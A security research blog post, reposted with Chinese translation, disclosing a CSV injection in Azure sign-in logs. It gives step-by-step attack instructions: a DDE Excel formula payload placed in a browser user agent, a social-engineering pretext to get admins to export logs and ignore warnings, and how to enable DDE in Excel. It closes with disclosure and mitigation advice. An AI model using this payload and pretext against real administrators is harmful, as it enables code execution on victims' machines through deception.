CSV Injection in Azure Logs

With the global migration to the cloud, enterprises had to rethink how they track malicious activity in their environments. Some of the old monitoring mechanisms (such as packet capture) are no longer available, and the event logs have gained new prominence. Often, they are the only tool you have to keep track of what is going on in your infrastructure.
随着全球向云的迁移，企业不得不重新考虑如何跟踪其环境中的恶意活动。一些旧的监视机制（如数据包捕获）不再可用，事件日志获得了新的突出地位。通常，它们是您跟踪基础架构中发生情况的唯一工具。

Cloud providers have had growing pains when it comes to implementing logging functionality. Azure, in particular, has been dealing with multiple log quality issues. Logs also present a juicy recon target for attackers looking to map out your environment, and sensitive information can be  leaked there.
云提供商在实现日志记录功能方面遇到了成长的烦恼。特别是 Azure，它一直在处理多个日志质量问题。日志还为希望绘制您的环境的攻击者提供了一个多汁的侦察目标，并且敏感信息可能会泄露在那里。

As serious as these problems can be, they are “passive” – information exposure is the worst that can happen. However, logs can occasionally become the carrier for attacks against the enterprise. We will describe one such exploit in this blog.
尽管这些问题可能很严重，但它们是“被动的”——信息暴露是可能发生的最糟糕的情况。但是，日志偶尔会成为针对企业的攻击载体。我们将在此博客中描述一个这样的漏洞。

Log Injection and CSV Injection
日志注入和 CSV 注入

A log injection is an attack where an adversary can influence the contents of a log by adding a specially crafted malicious payload to it. This happens because user actions frequently result in new records added to the logs, and such records often contain the data the user has control over: user IDs, email addresses, message subjects, and so on. When this data is maliciously crafted, the application that processes the logs may be tricked into executing an attack. For example, one could submit a fake email address containing an XSS (Cross-Site Scripting) payload in an account signup form. And the application administrator that opens this log in a browser may become the victim of an XSS attack.
日志注入是一种攻击，攻击者可以通过向日志添加特制的恶意负载来影响日志的内容。发生这种情况的原因是，用户操作经常会导致新记录添加到日志中，并且此类记录通常包含用户可以控制的数据：用户 ID、电子邮件地址、邮件主题等。当这些数据被恶意制作时，处理日志的应用程序可能会被诱骗执行攻击。例如，可以在帐户注册表单中提交包含 XSS（跨站点脚本）有效负载的虚假电子邮件地址。在浏览器中打开此日志的应用程序管理员可能会成为 XSS 攻击的受害者。

Logs in Azure can be downloaded as CSV (Comma-Separated Values) files, which are vulnerable to a CSV Injection technique. In this type of attack, if a CSV file contains an Excel formula (usually beginning with an equals sign – ‘=’), it is executed by Excel when it opens the file. Some formulas can be malicious, causing OS Command Execution or other exploits. It can be hazardous not only because arbitrary commands can be run but also because users don’t usually know about it, thinking that CSV files are just plain text files that cannot possibly cause any damage. 
Azure 中的日志可以下载为 CSV（逗号分隔值）文件，这些文件容易受到 CSV 注入技术的影响。在这种类型的攻击中，如果 CSV 文件包含 Excel 公式（通常以等号 – ‘=’ 开头），则 Excel 会在打开文件时执行该公式。某些公式可能是恶意的，会导致操作系统命令执行或其他漏洞。它可能很危险，不仅因为可以运行任意命令，还因为用户通常不知道它，认为 CSV 文件只是纯文本文件，不可能造成任何损害。

We have found a new instance of Log Injection combined with CSV Injection in Azure, which can be used to attack Azure administrators. Such vulnerabilities have been reported in the past, but this instance is more dangerous because it can be executed unauthenticated, i.e. you do not have to have an account in the cloud environment.
我们在 Azure 中发现了日志注入与 CSV 注入相结合的新实例，可用于攻击 Azure 管理员。过去曾报道过此类漏洞，但此实例更危险，因为它可以在未经身份验证的情况下执行，即您不必在云环境中拥有帐户。

Attack Scenario 攻击场景

The attack consists of two stages:
攻击包括两个阶段：

1. Pollute Azure logs 污染 Azure 日志

2. Social engineer a victim admin into opening the logs as a CSV file
   对受害者管理员进行社交工程，使其将日志作为 CSV 文件打开

*Note that the attack will not work on a fully updated MS Excel instance (more on this later).
*请注意，该攻击不适用于完全更新的 MS Excel 实例（稍后会详细介绍）。

Polluting Azure Logs with Malicious User Agent
使用恶意用户代理污染 Azure 日志

To pollute the logs with a malicious command, you don’t need any special permissions or even an account on the victim system. You just need the username of an existing user.
要使用恶意命令污染日志，您不需要任何特殊权限，甚至不需要受害者系统上的帐户。您只需要现有用户的用户名。

We start by submitting the injection payload as a user agent string:
我们首先将注入有效负载作为用户代理字符串提交：

1. Start Microsoft Edge (any browser will work as long as you can manipulate the user agent as detailed below, as will any attack proxy like Burp or ZAP)
   启动 Microsoft Edge（只要您可以操作用户代理，任何浏览器都可以工作，如下所述，任何攻击代理（如 Burp 或 ZAP）也是如此）

2. Open Developer Tools (Ctrl+Shift+I), click the menu on the top right and select Run Command (Ctrl+Shift+P):
   打开开发人员工具 （Ctrl+Shift+I），单击右上角的菜单，然后选择“运行命令”（Ctrl+Shift+P）：

3. Type “network conditions” and press Enter:
   键入“网络条件”，然后按 Enter：

4. In the drawer that opens, uncheck “Use browser default” and paste the following string into the bottom field:
   在打开的抽屉中，取消选中“使用浏览器默认值”，并将以下字符串粘贴到底部字段中：

=msexcel|’\..\..\..\Windows\System32\cmd.exe /c calc.exe’!’A1′
=msexcel|’\..\..\..\Windows\System32\cmd.exe /c calc.exe’！’A1′

This sample Excel formula will use Dynamic Data Exchange (DDE) protocol to start Calculator. A real-life payload will be something more destructive (e.g. a PowerShell command that downloads the next stage of infection).
此示例 Excel 公式将使用动态数据交换 （DDE） 协议来启动计算器。现实生活中的有效负载将更具破坏性（例如，下载下一阶段感染的 PowerShell 命令）。

5. Without closing the drawer, go to https://portal.azure.com and enter the e-mail of any existing account in your target system.
   在不关闭抽屉的情况下，转到 https://portal.azure.com 并输入目标系统中任何现有帐户的电子邮件。

6. When asked for a password, enter any string (it’s not our goal to log in successfully!):
   当要求输入密码时，输入任何字符串（成功登录不是我们的目标！
   
   

Getting the Victim to Open the Logs
让受害者打开日志

The sign-in logs in the target Azure tenant now contain the poisoned log record (it may take a few minutes to actually deliver it).
目标 Azure 租户中的登录日志现在包含中毒的日志记录（可能需要几分钟才能实际传送）。

Now, you can social engineer the target admin into opening the logs. There are two services in the portal where this can be done: Log Analytics and Microsoft Entra ID. We will describe the former.
现在，您可以对目标管理员进行社交工程以打开日志。门户中有两个服务可以执行此操作：Log Analytics 和 Microsoft Entra ID。我们将描述前者。

Any user with read access to Azure Log Analytics is sufficient, so it does not have to be an administrator with top-level privileges. 
对 Azure Log Analytics 具有读取访问权限的任何用户都足够了，因此不必是具有顶级权限的管理员。

A variety of possible pretexts are possible. For example, an “Azure technical support engineer” can contact the admin to request assistance investigating “suspicious login attempts.”
各种可能的借口都是可能的。例如，“Azure 技术支持工程师”可以联系管理员，请求帮助调查“可疑登录尝试”。

The steps are as follows:  
步骤如下：

1. Instruct the target to open Azure Log Analytics and load the SigninLogs table into the query window (double-click it). Click the Run button to execute the default query:
   指示目标打开 Azure Log Analytics，并将 SigninLogs 表加载到查询窗口中（双击它）。单击“运行”按钮以执行默认查询：
   
   

2. The log will load, and one of the entries will contain our payload:
   日志将加载，其中一个条目将包含我们的有效负载：

3. Instruct the target to load the log as a CSV file in Excel for “ease of analysis“:
   指示目标将日志作为 CSV 文件加载到 Excel 中，以便“便于分析”：
   
   

4. The logs will load in Excel. A warning message will appear, which the target should ignore:
   日志将在 Excel 中加载。将出现一条警告消息，目标应忽略该消息：
   
   

5. Another warning message will appear, which the target should also ignore. Note that the application it complains about is “MSEXCEL.EXE,” which is less suspicious than something like “CMD.EXE”:  
   将出现另一条警告消息，目标也应忽略该消息。请注意，它抱怨的应用程序是“MSEXCEL.EXE”，它比“CMD.EXE”之类的东西更可疑：

6. The Calculator instance will pop up (just as our payload intended):
   Calculator 实例将弹出（正如我们的有效负载所预期的那样）：
   
   

You can see the attack in action in this video:
您可以在此视频中看到攻击的实际效果：

Dealing with Excel DDE Protection
处理 Excel DDE 保护

This vulnerability does not trigger out of the box in the latest updated version of MS Excel. Microsoft implemented mitigations to prevent the DDE server from launching from Excel formulas by default. For the payload to work correctly, the target has to be using an older version of Excel or have DDE Server Launch enabled in the latest version of Excel (e.g. by being instructed by the attacker as part of the social engineering stage).
此漏洞不会在最新更新版本的 MS Excel 中开箱即用触发。默认情况下，Microsoft 实施了缓解措施，以防止 DDE 服务器从 Excel 公式启动。要使有效负载正常工作，目标必须使用旧版本的 Excel，或者在最新版本的 Excel 中启用 DDE Server Launch（例如，在社会工程阶段由攻击者指示）。

To disable this protection in Excel, go to File > Options > Trust Center > Trust Center Settings… > External Content and check Enable Dynamic Data Exchange Server Launch (not recommended):
若要在 Excel 中禁用此保护，请转到“信任中心”>“的文件>选项”>“信任中心设置…”，>“外部内容”，然后选中“启用动态数据 Exchange Server 启动”（不推荐）：

Beyond DDE 超越 DDE

The restriction of DDE calls may seem to leave users safe, but that safety is deceptive. Several other dangerous formulas that do not require DDE can be injected. Here are some examples (most will generate a warning message upon opening the file):
对 DDE 调用的限制似乎使用户安全，但这种安全具有欺骗性。可以注射其他几种不需要 DDE 的危险配方。以下是一些示例（大多数会在打开文件时生成警告消息）：

Disclosure 披露

We responsibly disclosed this vulnerability to Microsoft:
我们负责任地向 Microsoft 披露了此漏洞：

2022-09-13 – Reported to MSRC
2022-09-13 – 向 MSRC 报告
2022-09-21 – MSRC responded: “…vulnerability really exists in how Microsoft Excel opens files. It also requires clicking-through a warning in Microsoft Excel. We could consider blocking CSV injection payloads as a DND precaution as a fix in Next Version releases.”
2022-09-21 – MSRC 回应：“……Microsoft Excel 打开文件的方式中确实存在漏洞。它还需要在 Microsoft Excel 中单击警告。我们可以考虑阻止 CSV 注入有效负载作为 DND 预防措施，作为下一版本版本中的修复程序。

Microsoft seemed non-committal to making changes to prevent CSV injection payloads, and the vulnerability exists to this day. 
Microsoft似乎没有做出改变以防止CSV注入有效载荷，并且该漏洞至今仍然存在。

Mitigation 缓解

While Microsoft was correct in stating that security updates in Excel prevent the triggering of DDE payloads, there are several other factors to consider:
虽然 Microsoft 正确地指出 Excel 中的安全更新会阻止触发 DDE 有效负载，但还需要考虑其他几个因素：

• Victim may have an old, unpatched version of Excel installed or be social engineered to drop the defenses. We demonstrated one scenario for this above.
  受害者可能安装了旧的、未打补丁的 Excel 版本，或者被社会工程改造以放弃防御。我们在上面演示了一种场景。

• There are non-DDE formulas in Excel that could be dangerous. We have outlined several examples of that. Additionally, Microsoft is adding new Python functionality to Excel formulas, and invoking Python code through injection may bring new, unexpected consequences.  
  Excel 中存在可能很危险的非 DDE 公式。我们概述了几个例子。此外，Microsoft 正在向 Excel 公式添加新的 Python 功能，通过注入调用 Python 代码可能会带来新的、意想不到的后果。

• Other applications could open CSV files, possibly resulting in new exploits. For example, on Linux, LibreOffice is a popular office suite that will be used to open CSV files. It executes Excel formulas and supports DDE, too.
  其他应用程序可能会打开 CSV 文件，从而可能导致新的漏洞利用。例如，在 Linux 上，LibreOffice 是一种流行的办公套件，将用于打开 CSV 文件。它执行 Excel 公式并支持 DDE。

• Finally, it’s important to practice “defense in depth.” It would be consistent with this practice not only to rely on an Excel fix but also to eliminate the possibility of formula injection at the source in CSVs generated by Azure.
  最后，练习“纵深防御”很重要。这不仅依赖于 Excel 修补程序，而且还消除了在 Azure 生成的 CSV 中从源处注入公式的可能性，这与这种做法是一致的。

We believe that the right course of action is for Microsoft to sanitize values in CSV file cells that begin with “=” (and some others cells that start with “+”, “-“, “@”, and some other characters can also be interpreted as formulas). The original values do not have to be removed (after all, they may be important to the defender). Prefixing them with some string that clarifies the intent (e.g. “<INSERTED TO MITIGATE POSSIBLE CSV INJECTION>”) will be sufficient.
我们认为，正确的做法是让 Microsoft 清理以“=”开头的 CSV 文件单元格中的值（其他一些以“+”、“-”、“@”开头的单元格，以及其他一些字符也可以解释为公式）。原始值不必删除（毕竟，它们对防御者可能很重要）。在它们前面加上一些阐明意图的字符串（例如，“<插入以缓解可能的 CSV 注入>”）就足够了。

原文始发于CSDN（0pr）：CSV Injection in Azure Logs